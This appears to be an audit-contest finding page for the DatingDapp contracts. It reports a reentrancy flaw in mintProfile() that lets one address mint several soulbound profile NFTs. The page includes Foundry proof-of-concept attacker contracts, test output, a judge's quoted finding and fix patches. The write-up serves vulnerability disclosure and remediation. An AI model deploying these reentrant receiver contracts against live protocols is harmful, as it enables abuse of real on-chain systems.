DatingDapp
AI First Flight #6
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Reentrancy in `mintProfile()` Allows Multiple Profile NFTs for the Same Address

putfor

Reentrancy in mintProfile() Allows Multiple Profile NFTs for the Same Address

Description

mintProfile() checks profileToToken[msg.sender] == 0 and then calls _safeMint(msg.sender, tokenId) before updating profileToToken[msg.sender].

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
​
uint256 tokenId = ++_nextTokenId;
_safeMint(msg.sender, tokenId);
​
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
}

Because _safeMint performs an external callback to onERC721Received when msg.sender is a contract, an attacker contract can reenter mintProfile() before profileToToken[msg.sender] is set. During reentry, the same precondition still passes, allowing repeated mints for one address. This breaks the one-profile-per-user invariant that the contract enforces for EOAs and intended usage.

Risk

Likelihood: High

The attack path is straightforward and deterministic for contract callers implementing onERC721Received. It does not require privileged access or unusual chain conditions.

Impact: High

The core identity constraint of the protocol is violated: a single participant can mint multiple soulbound profiles. This undermines profile uniqueness, match integrity, and trust assumptions in downstream logic that treats one address as one profile identity.

Proof of Concept

The PoC is implemented in test/testSoulboundProfileNFT.t.sol using a helper attacker contract ReentrantMintReceiver and the test test_ReentrancyAllowsMultipleProfilesForSameAddress().

contract ReentrantMintReceiver {
SoulboundProfileNFT private immutable target;
uint256 private immutable maxMints;
uint256 private mintCount;
​
constructor(SoulboundProfileNFT _target, uint256 _maxMints) {
target = _target;
maxMints = _maxMints;
}
​
function executeMintAttack() external {
target.mintProfile("Mallory", 42, "ipfs://attacker");
}
​
function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) {
mintCount++;
if (mintCount < maxMints) {
target.mintProfile("Mallory", 42, "ipfs://attacker");
}
return this.onERC721Received.selector;
}
}
​
function test_ReentrancyAllowsMultipleProfilesForSameAddress() public {
ReentrantMintReceiver attacker = new ReentrantMintReceiver(soulboundNFT, 5);
​
attacker.executeMintAttack();
​
assertEq(soulboundNFT.balanceOf(address(attacker)), 5, "Attacker should own 5 NFTs");
assertEq(soulboundNFT.ownerOf(1), address(attacker), "Token 1 owner mismatch");
assertEq(soulboundNFT.ownerOf(2), address(attacker), "Token 2 owner mismatch");
assertEq(soulboundNFT.ownerOf(3), address(attacker), "Token 3 owner mismatch");
assertEq(soulboundNFT.ownerOf(4), address(attacker), "Token 4 owner mismatch");
assertEq(soulboundNFT.ownerOf(5), address(attacker), "Token 5 owner mismatch");
}

Run the test with:

forge test --match-test test_ReentrancyAllowsMultipleProfilesForSameAddress -vv

Output:

Ran 1 test for test/testSoulboundProfileNFT.t.sol:SoulboundProfileNFTTest
[PASS] test_ReentrancyAllowsMultipleProfilesForSameAddress() (gas: 941176)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.55ms (532.54µs CPU time)
​
Ran 1 test suite in 84.06ms (5.55ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Thus, the PoC demonstrates that a single address can mint multiple profile NFTs via reentrancy.

Recommended Mitigation

Apply checks-effects-interactions ordering so the profile ownership state is committed before external interaction. In practice, write profileToToken[msg.sender] before _safeMint, then mint and store metadata. This causes any reentrant mintProfile() call to fail immediately at the Profile already exists check.

Illustrative patch:

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
​
uint256 tokenId = ++_nextTokenId;
+ profileToToken[msg.sender] = tokenId;
_safeMint(msg.sender, tokenId);
​
_profiles[tokenId] = Profile(name, age, profileImage);
- profileToToken[msg.sender] = tokenId;
​
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}

For defense in depth, nonReentrant can be added as an additional guard, but the state-order fix above is the critical correction.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 5 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-04] Reentrancy in `SoulboundProfileNft::mintProfile` allows minting multiple NFTs per address, which disrupts protocol expectations

## Description In `mintProfile`, the internal `_safeMint` function is called before updating the contract state (`_profiles[tokenId]` and `profileToToken[msg.sender]`). This violates CEI, as `_safeMint` calls an internal function that could invoke an external contract if `msg.sender` is a contract with a malicious `onERC721Received` implementation. Source Code: ```solidity function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ``` ## Vulnerability Details Copy this test and auxiliary contract in the unit test suite to prove that an attacker can mint multiple NFTs: ```solidity function testReentrancyMultipleNft() public { MaliciousContract maliciousContract = new MaliciousContract( address(soulboundNFT) ); vm.prank(address(maliciousContract)); MaliciousContract(maliciousContract).attack(); assertEq(soulboundNFT.balanceOf(address(maliciousContract)), 2); assertEq(soulboundNFT.profileToToken(address(maliciousContract)), 1); } ``` ```Solidity contract MaliciousContract { SoulboundProfileNFT soulboundNFT; uint256 counter; constructor(address _soulboundNFT) { soulboundNFT = SoulboundProfileNFT(_soulboundNFT); } // Malicious reentrancy attack function attack() external { soulboundNFT.mintProfile("Evil", 99, "malicious.png"); } // Malicious onERC721Received function function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { // Reenter the mintProfile function if (counter == 0) { counter++; soulboundNFT.mintProfile("EvilAgain", 100, "malicious2.png"); } return 0x150b7a02; } } ``` ## Impact The attacker could end up having multiple NTFs, but only one profile. This is because the `mintProfile`function resets the `profileToToken`mapping each time. At the end, the attacker will have only one profile connecting with one token ID with the information of the first mint. I consider that the severity is Low because the `LikeRegistry`contract works with the token IDs, not the NFTs. So, the impact will be a disruption in the relation of the amount of NTFs and the amount of profiles. ## Recommendations To follow CEI properly, move `_safeMint` to the end: ```diff function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; - _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; + _safeMint(msg.sender, tokenId); emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!